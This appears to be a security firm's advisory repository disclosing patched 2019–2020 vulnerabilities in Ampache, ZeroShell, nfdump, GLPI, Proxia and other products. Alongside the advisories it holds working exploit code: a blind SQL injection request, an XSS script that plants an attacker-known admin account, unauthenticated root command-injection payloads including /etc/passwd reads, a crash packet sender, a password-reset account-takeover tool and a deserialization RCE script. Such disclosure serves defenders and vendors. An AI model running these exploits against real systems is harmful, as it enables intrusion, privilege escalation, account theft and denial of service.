11 | 12 | 13 | 14 | ## Summary 15 | The search engine is affected by a SQL Injection, so any user able to perform lib/class/search.class.php searches (even guest users) can dump any data contained in the database (sessions, hashed passwords, etc.). 16 | 17 | ## Details 18 | Communication with the database is made via the Dba class (ORM), which relays on PHP PDO to perform queries. Some of them are performed properly using prepared statements, but in other cases the Dba::escape method is used. 19 | 20 | lib/class/dba.class.php: 21 | 22 | ```php 23 | 134: public static function escape($var) 24 | 135: { 25 | 136: $dbh = self::dbh(); 26 | 137: if (!$dbh) { 27 | 138: debug_event('Dba', 'Wrong dbh.', 1); 28 | 139: exit; 29 | 140: } 30 | 141: $var = $dbh->quote($var); 31 | 142: // This is slightly less ugly than it was, but still ugly 32 | 143: return substr($var, 1, -1); 33 | 144: } 34 | ``` 35 | 36 | This function calls PDO::quote, which filters special characters and quotes the string. After that, outer single quotes are stripped. The latter means that if this value is not quoted within the query, an attacker could inject data in SQL context. 37 | 38 | A vulnerable case supporting this theory is detailed below, although there could be more. 39 | 40 | lib/class/search.class.php: 41 | 42 | ```php 43 | 1461: case 'last_play': 44 | 1462: $userid = $GLOBALS['user']->id; 45 | 1463: $where[] = "`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - ($input * 86400))"; 46 | 1464: $join['object_count'] = true; 47 | 1465: break; 48 | ``` 49 | The $input variable is basically: 50 | ``` 51 | Dba::escape($USER_INPUT) 52 | ``` 53 | 54 | So a malicious user could provide SQL commands (avoiding quotes and other special chars). The next request confirms the vulnerability, causing a 5-seconds delay: 55 | 56 | ``` 57 | POST /search.php?type=song 58 | X-Requested-With: XMLHttpRequest 59 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 60 | Content-Type: application/x-www-form-urlencoded; charset=UTF-8 61 | Accept-Encoding: gzip, deflate 62 | Accept-Language: es-ES,es;q=0.9,en;q=0.8,pt;q=0.7 63 | Cookie: ampache=[session_id] 64 | Connection: close 65 | 66 | limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search 67 | ``` 68 | 69 | 70 | ## Impact 71 | This vulnerability may lead to a full compromise of admin accounts, when combined with the weak password generator algorithm used in the lostpassword functionality. 72 | 73 | ## Recommendation 74 | Update to last version. 75 | 76 | ## Timeline 77 | 78 | * 25/04/2019 - Reported vulnerability to vendor 79 | * 24/06/2019 - First fix attempt 80 | * 25/06/2019 - Incorrect fix notification 81 | * 25/06/2019 - Final fix at Github 82 | 83 | # 84 | 85 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 86 | 87 | -------------------------------------------------------------------------------- /2019/CVE-2019-12386/CVE-2019-12386.html: -------------------------------------------------------------------------------- 1 | 2 | CVE-2019-12386 - Stored XSS + CSRF 3 | 4 | Software: Ampache <= 3.9.1
5 | Author: Juan Manuel Fernandez (@TheXC3LL) from BlackArrow
6 | Details: https://github.com/blackarrowsec/advisories/new/master/2019/CVE-2019-12386
7 | Web: [www.blackarrow.net] - [www.tarlogic.com]


8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | -------------------------------------------------------------------------------- /2019/CVE-2019-12386/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-12386: Stored XSS in Ampache 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-Yes-green?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ Ampache
6 | __Vendor URL:__ http://ampache.org
7 | __Versions affected:__ Ampache <= 3.9.1
8 | __Discovered by:__ Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/TheXC3LL))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2019/CVE-2019-12386/CVE-2019-12386.html))
11 | 12 | 13 | ## Summary 14 | Ampache 3.9.1 (and before) is vulnerable to stored XSS because they user parameters are used without a properly sanitization. 15 | 16 | ## Details 17 | 18 | A stored XSS exists in the localplay.php LocalPlay "add instance" functionality. The injected code is reflected in the instances menu. This vulnerability can be abused to force an admin to create a new privileged user whose credentials are known by the attacker. 19 | 20 | ## Impact 21 | This vulnerability can be abused to force an admin to create a new privileged user whose credentials are known by the attacker. 22 | 23 | ## Recommendation 24 | Update to last version. 25 | 26 | ## Timeline 27 | 28 | * 25/04/2019 - Reported vulnerability to vendor 29 | * 24/06/2019 - First fix attempt 30 | * 25/06/2019 - Incorrect fix notification 31 | * 25/06/2019 - Final fix at Github 32 | 33 | # 34 | 35 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) -------------------------------------------------------------------------------- /2019/CVE-2019-12386/pwn.js: -------------------------------------------------------------------------------- 1 | /* 2 | CVE-2019-12386: Stored XSS in Ampache 3 | 4 | Software: Ampache <= 3.9.1 5 | Author: Juan Manuel Fernandez (@TheXC3LL) from BlackArrow 6 | Details: https://github.com/blackarrowsec/advisories/new/master/2019/CVE-2019-12386 7 | Web: [www.blackarrow.net] - [www.tarlogic.com] 8 | 9 | 10 | */ 11 | 12 | function pwned() { 13 | var ifr = document.getElementById("pwn"); 14 | var target = ifr.contentDocument.getElementsByTagName("form")[2]; 15 | target.username.value = "NewAdmin"; 16 | target.email.value = "myemail@tarlogic.foobar"; 17 | target.password_1.value = "admin"; 18 | target.password_2.value = "admin"; 19 | target.access.value = "100"; 20 | target.submit(); 21 | } 22 | var iframe = document.createElement('iframe'); 23 | iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user"); 24 | iframe.setAttribute("id", "pwn"); 25 | document.body.appendChild(iframe); 26 | setTimeout(pwned, 3000); 27 | -------------------------------------------------------------------------------- /2019/CVE-2019-12725/CVE-2019-12725.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # CVE-2019-12725 - Remote Command Execution as Root 4 | # 5 | # Software: ZeroShell <= 3.9.0 6 | # Author: Juan Manuel Fernandez (@TheXC3LL) from BlackArrow 7 | # Details: https://github.com/blackarrowsec/advisories/2019/CVE-2019-12725 8 | # Web: [www.blackarrow.net] - [www.tarlogic.com] 9 | # 10 | 11 | 12 | import requests 13 | import sys 14 | 15 | target = sys.argv[1] 16 | payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id" 17 | poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'" 18 | 19 | # Vuln too: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type='%0acat /etc/passwd%0a' 20 | # And: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat /etc/passwd%0a'&PW= 21 | # It the same vuln that https://www.exploit-db.com/exploits/41040 but bypassing the fix using %0a 22 | 23 | req = requests.get(target + poc) 24 | print req.text[:req.text.rindex("") / 2] 25 | -------------------------------------------------------------------------------- /2019/CVE-2019-12725/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-12725: Remote Command Execution in ZeroShell 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ ZeroShell
6 | __Vendor URL:__ https://zeroshell.org
7 | __Versions affected:__ ZeroShell <= 3.9.0
8 | __Discovered by:__ Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/TheXC3LL))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2019/CVE-2019-12725/CVE-2019-12725.py))
11 | 12 | ## Summary 13 | ZeroShell 3.9.0 (and before) is vulnerable to RCE because some parameters sent to the endpoint are used by a bash script without a properly sanitization. 14 | 15 | ## Details 16 | 17 | An unauthenticated attacker can execute arbitrary commands via command injection with new-line characters: 18 | ``` 19 | /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=Admin&x509type='%0Auname -a%0A' 20 | ``` 21 | 22 | Additionally the Apache user can execute the "tar" command as root (/etc/sudoers): 23 | ``` 24 | (...) 25 | apache ALL= NOPASSWD: /bin/tar 26 | (...) 27 | ``` 28 | 29 | This can be abused in order to elevate privileges via the RCE: 30 | 31 | ``` 32 | /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id%0A' 33 | 34 | uid=0(root) gid=0(root) groups=0(root) 35 | ``` 36 | ## Impact 37 | 38 | An unauthenticated attacker can execute commands remotely as root. 39 | 40 | ## Recommendation 41 | Update to last version. 42 | 43 | ## Timeline 44 | * 29/05/2019 - Reported the vulnerability to vendor 45 | * 29/05/2019 - Vendor ACK 46 | * 05/06/2019 - CVE Identifier (CVE-2019-12725) assigned by MITRE 47 | * 04/08/2019 - Security Release with fix (ZeroShell 3.9.3) 48 | 49 | # 50 | 51 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 52 | -------------------------------------------------------------------------------- /2019/CVE-2019-14459/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-14459: Denial of Service in Nfdump 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ Peter Haag
6 | __Vendor URL:__ https://github.com/phaag/nfdump
7 | __Versions affected:__ Nfdump <= 1.6.17
8 | __Discovered by:__ Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/TheXC3LL))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2019/CVE-2019-14459/))
11 | 12 | ## Summary 13 | nfdump 1.6.17 and earlier is affected by an integer overflow in the function Process_ipfix_template_withdraw in ipfix.c that can be abused in order to crash the process remotely (denial of service). 14 | 15 | ## Details 16 | 17 | An integer overflow at function that can be abused in order to crash the process remotely (denial of service). The function `Process_ipfix_template_withdraw` uses size_left as uint32_t which is an unsigned integer, so if we have a size_left with value 1, when the substraction at line 1429 is done (`size_left -= 4;`), it will overflow and become 4294967293 (0xfffffffd). As this is a value higher than "4", the size check made at line 1443 (`if ( size_left < 4 ){(...) size_left = 0; (...)}`) will be bypassed. At this point we have a huge loop (`while ( size_left )`) where the pointer DataPtr will be increased by 4 in each iteration until it reaches an invalid memory address and segfaults. 18 | 19 | ``` 20 | import socket 21 | import sys 22 | 23 | packet = [ 24 | 0x00, 0x0a, 0xc8, 0xc9, 0x00, 0x00, 0x0a, 0x20, 25 | 0x00, 0x5d, 0x53, 0x64, 0x02, 0x00, 0x00, 0x03, 26 | 0x00, 0x02, 0x00, 0x05, 0x11, 0x00 27 | ] 28 | 29 | exploit = "" 30 | for x in packet: 31 | exploit += chr(x) 32 | 33 | print "[*] Nfcapd DoS - Integer Overflow at Process_ipfix_template_withdraw()" 34 | print "[*] Rocket to: %s:%s" % (sys.argv[1], sys.argv[2]) 35 | 36 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 37 | sock.sendto(exploit, (sys.argv[1], int(sys.argv[2]))) 38 | 39 | ``` 40 | 41 | ## Impact 42 | This vulnerability can be abused to crash the service and generate a Denial of Service. 43 | 44 | ## Recommendation 45 | Update to last version. 46 | 47 | ## Timeline 48 | * 07/07/2019 - Reported vulnerability to vendor 49 | * 27/07/2019 - Fixed in Github 50 | * 14/08/2019 - Security Release with fix (Nfdump 1.6.18) 51 | 52 | # 53 | 54 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 55 | -------------------------------------------------------------------------------- /2019/CVE-2019-14666/CVE-2019-14666.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # CVE-2019-14666 - Account takeover 4 | # 5 | # Software: GLPI <= 9.4.3 6 | # Author: Pablo Martinez (@xassiz) from BlackArrow 7 | # Details: https://github.com/blackarrowsec/advisories/tree/master/2019/CVE-2019-14666 8 | # Web: [www.blackarrow.net] - [www.tarlogic.com] 9 | # 10 | 11 | 12 | import re 13 | import sys 14 | import json 15 | import argparse 16 | import requests 17 | 18 | class GlpiBrowser: 19 | def __init__(self, url, user, password): 20 | self.url = url 21 | self.user = user 22 | self.password = password 23 | 24 | self.session = requests.Session() 25 | self.session.verify = False 26 | requests.packages.urllib3.disable_warnings() 27 | 28 | def extract_csrf(self, html): 29 | return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0] 30 | 31 | def get_login_data(self): 32 | r = self.session.get('{0}'.format(self.url), allow_redirects=True) 33 | 34 | csrf_token = self.extract_csrf(r.text) 35 | name_field = re.findall('name="(.*)" id="login_name"', r.text)[0] 36 | pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0] 37 | 38 | return name_field, pass_field, csrf_token 39 | 40 | def login(self): 41 | try: 42 | name_field, pass_field, csrf_token = self.get_login_data() 43 | except Exception as e: 44 | print "[-] Login error: could not retrieve form data" 45 | sys.exit(1) 46 | 47 | data = { 48 | name_field: self.user, 49 | pass_field: self.password, 50 | "auth": "local", 51 | "submit": "Post", 52 | "_glpi_csrf_token": csrf_token 53 | } 54 | 55 | r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False) 56 | 57 | return r.status_code == 302 58 | 59 | def get_data(self, itemtype, field, term=None): 60 | params = { 61 | "itemtype": itemtype, 62 | "field": field, 63 | "term": term if term else "" 64 | } 65 | 66 | r = self.session.get('{}/ajax/autocompletion.php'.format(self.url), params=params) 67 | 68 | if r.status_code == 200: 69 | try: 70 | data = json.loads(r.text) 71 | except: 72 | return None 73 | return data 74 | return None 75 | 76 | def get_forget_token(self): 77 | return self.get_data('User', 'password_forget_token') 78 | 79 | def get_emails(self): 80 | return self.get_data('UserEmail', 'email') 81 | 82 | def lost_password_request(self, email): 83 | r = self.session.get('{0}/front/lostpassword.php'.format(self.url)) 84 | try: 85 | csrf_token = self.extract_csrf(r.text) 86 | except Exception as e: 87 | print "[-] Lost password error: could not retrieve form data" 88 | sys.exit(1) 89 | 90 | data = { 91 | "email": email, 92 | "update": "Save", 93 | "_glpi_csrf_token": csrf_token 94 | } 95 | 96 | r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data) 97 | return 'An email has been sent' in r.text 98 | 99 | def change_password(self, email, password, token): 100 | r = self.session.get('{0}/front/lostpassword.php'.format(self.url), params={'password_forget_token': token}) 101 | try: 102 | csrf_token = self.extract_csrf(r.text) 103 | except Exception as e: 104 | print "[-] Change password error: could not retrieve form data" 105 | sys.exit(1) 106 | 107 | data = { 108 | "email": email, 109 | "password": password, 110 | "password2": password, 111 | "password_forget_token": token, 112 | "update": "Save", 113 | "_glpi_csrf_token": csrf_token 114 | } 115 | 116 | r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data) 117 | return 'Reset password successful' in r.text 118 | 119 | def pwn(self, email, password): 120 | 121 | if not self.login(): 122 | print "[-] Login error" 123 | return 124 | 125 | tokens = self.get_forget_token() 126 | if tokens is None: 127 | tokens = [] 128 | 129 | if email: 130 | if not self.lost_password_request(email): 131 | print "[-] Lost password error: could not request" 132 | return 133 | 134 | new_tokens = self.get_forget_token() 135 | 136 | res = list(set(new_tokens) - set(tokens)) 137 | if res: 138 | for token in res: 139 | if self.change_password(email, password, token): 140 | print "[+] Password changed! ;)" 141 | return 142 | 143 | 144 | if __name__ == '__main__': 145 | 146 | parser = argparse.ArgumentParser() 147 | parser.add_argument("--url", help="Target URL", required=True) 148 | parser.add_argument("--user", help="Username", required=True) 149 | parser.add_argument("--password", help="Password", required=True) 150 | parser.add_argument("--email", help="Target email") 151 | parser.add_argument("--newpass", help="New password") 152 | 153 | args = parser.parse_args() 154 | 155 | g = GlpiBrowser(args.url, user=args.user, password=args.password) 156 | 157 | g.pwn(args.email, args.newpass) 158 | -------------------------------------------------------------------------------- /2019/CVE-2019-14666/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-14666: Account takeover in GLPI 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ GLPI Project
5 | __Vendor URL:__ https://glpi-project.org/es/
6 | __Versions affected:__ GLPI <= 9.4.3
7 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/xassiz))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2019/CVE-2019-14666/CVE-2019-14666.py))
10 | 11 | 12 | ## Summary 13 | GLPI through 9.4.3 is prone to account takeover by abusing the ajax/autocompletion.php autocompletion feature. 14 | 15 | ## Details 16 | 17 | The lack of correct validation leads to recovery of the token generated via the password reset functionality, and thus an authenticated attacker can set an arbitrary password for any user. This vulnerability can be exploited to take control of admin account. This vulnerability could be also abused to obtain other sensitive fields like API keys or password hashes. 18 | 19 | ## Impact 20 | This vulnerability can be abused to take control of administrative account. 21 | 22 | ## Recommendation 23 | Update to last version. 24 | 25 | ## Timeline 26 | * 19/07/2019 - Reported vulnerability to vendor 27 | * 24/09/2019 - Security Release with fix (GLPI 9.4.4) 28 | 29 | 30 | # 31 | 32 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) -------------------------------------------------------------------------------- /2019/CVE-2019-18956/CVE-2019-18956.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # CVE-2019-18956 - Remote Code Execution (Java Deserialization) in Proxia Suite, Proxia PHR & SparkSpace 4 | # 5 | # Software: 6 | # Proxia Suite 10.1; < 10.1.5 7 | # Proxia Suite 10.0; < 10.0.32 8 | # Proxia Suite 9; < 9.12.16, 9.11.19, 9.10.26, 9.9.8, 9.8.43 & 9.7.10; 9 | # SparkSpace 1.2; < 1.2.4 10 | # SparkSpace 1.1; < 1.1.2 11 | # SparkSpace 1.0; < 1.0.30 12 | # Proxia PHR 1.1; < 1.1.2 13 | # Proxia PHR 1.0; < 1.0.30 14 | # 15 | # Author: Pablo Martinez (@xassiz) from BlackArrow 16 | # Details: https://github.com/blackarrowsec/advisories/tree/master/2019/CVE-2019-18956 17 | # Web: [www.blackarrow.net] - [www.tarlogic.com] 18 | # 19 | 20 | die_help () { 21 | echo "Usage: ${0} url ysoserial_payload cmd" 22 | exit 1 23 | } 24 | 25 | [ "${#}" -eq "3" ] || die_help 26 | 27 | 28 | echo "[+] Target: ${1}" 29 | echo "[+] Payload: ${2}" 30 | echo "[+] Cmd: ${3}" 31 | 32 | PAYLOAD="$(java -jar "ysoserial.jar" "${2}" "${3}" | tr -d '\0')" 33 | 34 | if [ "${?}" -eq "0" ] 35 | then 36 | curl -I -k "${1}" --cookie "proxia-error=$(gzip <<< "${PAYLOAD}" | base64 -w0 | tr '/' '-' | tr '+' '_' | tr '=' '.')" 37 | fi 38 | -------------------------------------------------------------------------------- /2019/CVE-2019-18956/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-18956: Remote Code Execution (Java Deserialization) in Proxia Suite, Proxia PHR & SparkSpace 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Divisa iT
5 | __Vendor URL:__ https://www.divisait.com
6 | __Versions affected:__ Multiple versions and products (check the details section to view the full list)
7 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/xassiz)), Eloy Perez ([@Zer1t0](https://twitter.com/zer1t0))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2019/CVE-2019-18956/CVE-2019-18956.sh))
10 | 11 | 12 | ## Summary 13 | The dv2eemvc library deserializes a cookie in a unsafe way leading to the remote execution of arbitrary code. Multiple products are affected by the usage of this lib. 14 | 15 | ## Details 16 | The method `prepareError` from the `com.divisait.dv2ee.controller.MVCControllerServlet` class is called every time a HTTP request is processed. 17 | 18 | ```java 19 | private void prepareError(Mapping mapping, MultipartRequest request, HttpServletResponse response) 20 | { 21 | String errorAction = HttpUtils.getCookie(request, "proxia-error"); 22 | HttpUtils.clearSessionCookie(request, response, "proxia-error"); 23 | if (errorAction == null) { 24 | return; 25 | } 26 | try 27 | { 28 | Base64 b64 = new Base64(); 29 | byte[] message = b64.decode(errorAction); 30 | ObjectInputStream serin = new ObjectInputStream(new GZIPInputStream(new ByteArrayInputStream(message))); 31 | 32 | HashMap toReturn = (HashMap)serin.readObject(); 33 | serin.close(); 34 | if (!toReturn.isEmpty()) 35 | { 36 | Iterator key = toReturn.keySet().iterator(); 37 | while (key.hasNext()) 38 | { 39 | String entry = (String)key.next(); 40 | Object data = toReturn.get(entry); 41 | request.setAttribute(entry, data); 42 | } 43 | } 44 | } 45 | catch (Exception e) {} 46 | ``` 47 | 48 | This method deserializes insecurely the contents of the `proxia-error` cookie, so an attacker can manipulate it in order to achieve arbitrary code execution. 49 | 50 | The vendor provided us with the complete list of affected versions: 51 | 52 | __Lib versions:__ 53 | * dv2eemvc-17; releases between dv2eemvc-17-62 and dv2eemvc-17-147 54 | * dv2eemvc-18.6; releases < 18.6.42 55 | * dv2eemvc-19.0; releases < 19.0.13 56 | * dv2eemvc-19.1; releases < 19.1.19 57 | * dv2eemvc-19.2; releases < 19.2.41 58 | * dv2eemvc-19.3; releases < 19.3.37 59 | * dv2eemvc-19.4; releases < 19.4.13 60 | * dv2eemvc-20.0; releases < 20.0.13 61 | 62 | __Product versions:__ 63 | * Proxia Suite 10.1; < 10.1.5 64 | * Proxia Suite 10.0; < 10.0.32 65 | * Proxia Suite 9; < 9.12.16, 9.11.19, 9.10.26, 9.9.8, 9.8.43 & 9.7.10; 66 | * SparkSpace 1.2; < 1.2.4 67 | * SparkSpace 1.1; < 1.1.2 68 | * SparkSpace 1.0; < 1.0.30 69 | * Proxia PHR 1.1; < 1.1.2 70 | * Proxia PHR 1.0; < 1.0.30 71 | 72 | ## Impact 73 | This vulnerability can be used to execute code in the server. 74 | 75 | ## Recommendation 76 | Update to the latest version. 77 | 78 | ## Timeline 79 | * 29/10/2019 - Vulnerability reported to vendor 80 | * 30/10/2019 - (9:31) ACK from vendor 81 | * 30/10/2019 - (13:37) Vendor fixes the issue and releases new versions of the affected products (_the mail actually arrived at 13:36_) 82 | 83 | 84 | # 85 | 86 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 87 | -------------------------------------------------------------------------------- /2020/CVE-2020-12606/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-12606: SQL injection in SGLAC 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ DBSOFT
5 | __Vendor URL:__ http://www.dbsoft.es/es-es/productos/sglac.aspx
6 | __Versions affected:__ SGLAC <20.05.001
7 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/xassiz))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | SGLAC web frontend (<20.05.001) is prone to an unauthenticated SQL injection. 15 | 16 | ## Details 17 | 18 | The ProcedimientoGenerico method in the SVCManejador.svc webservice of the SGLAC web frontend allows an attacker to run arbitrary SQL commands on the SQL Server. 19 | 20 | ## Impact 21 | 22 | Command execution can be easily achieved by using the xp_cmdshell stored procedure. 23 | 24 | ## Recommendation 25 | Update to a fixed version (=>20.05.001). 26 | 27 | ## Timeline 28 | * 28/04/2020 - Vendor contact 29 | * 27/05/2020 - Release of fixed version 30 | 31 | 32 | # 33 | 34 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 35 | -------------------------------------------------------------------------------- /2020/CVE-2020-28657/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-28657: Multiple SQL injections in bPanel2 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ bittacora
5 | __Vendor URL:__ https://bittacora.com/
6 | __Versions affected:__ bPanel2
7 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/xassiz))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | bPanel2 is prone to multiple unauthenticated SQL injections. 15 | 16 | ## Details 17 | 18 | The administrative ajax endpoints (aka ajax/aj_*.php) are affected by SQL injections, which are accessible without authentication. 19 | 20 | ## Impact 21 | 22 | This could lead to platform compromise, by dumping and cracking administrative password hashes. 23 | 24 | ## Recommendation 25 | Update to a fixed version (>2). 26 | 27 | ## Timeline 28 | * 12/11/2020 - Reported vulnerability to vendor 29 | * 18/11/2020 - Vendor acknowledges the issue, but says that it's already fixed in newer versions 30 | * 02/03/2021 - Public disclosure 31 | 32 | 33 | # 34 | 35 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 36 | -------------------------------------------------------------------------------- /2020/CVE-2020-35577/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-35577: IDOR in Endalia Selection Portal 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Endalia
5 | __Vendor URL:__ https://www.endalia.com/software/seleccion/
6 | __Versions affected:__ Endalia Selection Portal < 4.205.0
7 | __Discovered by:__ Antón Ortigueira ([@antuache](https://twitter.com/antuache))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
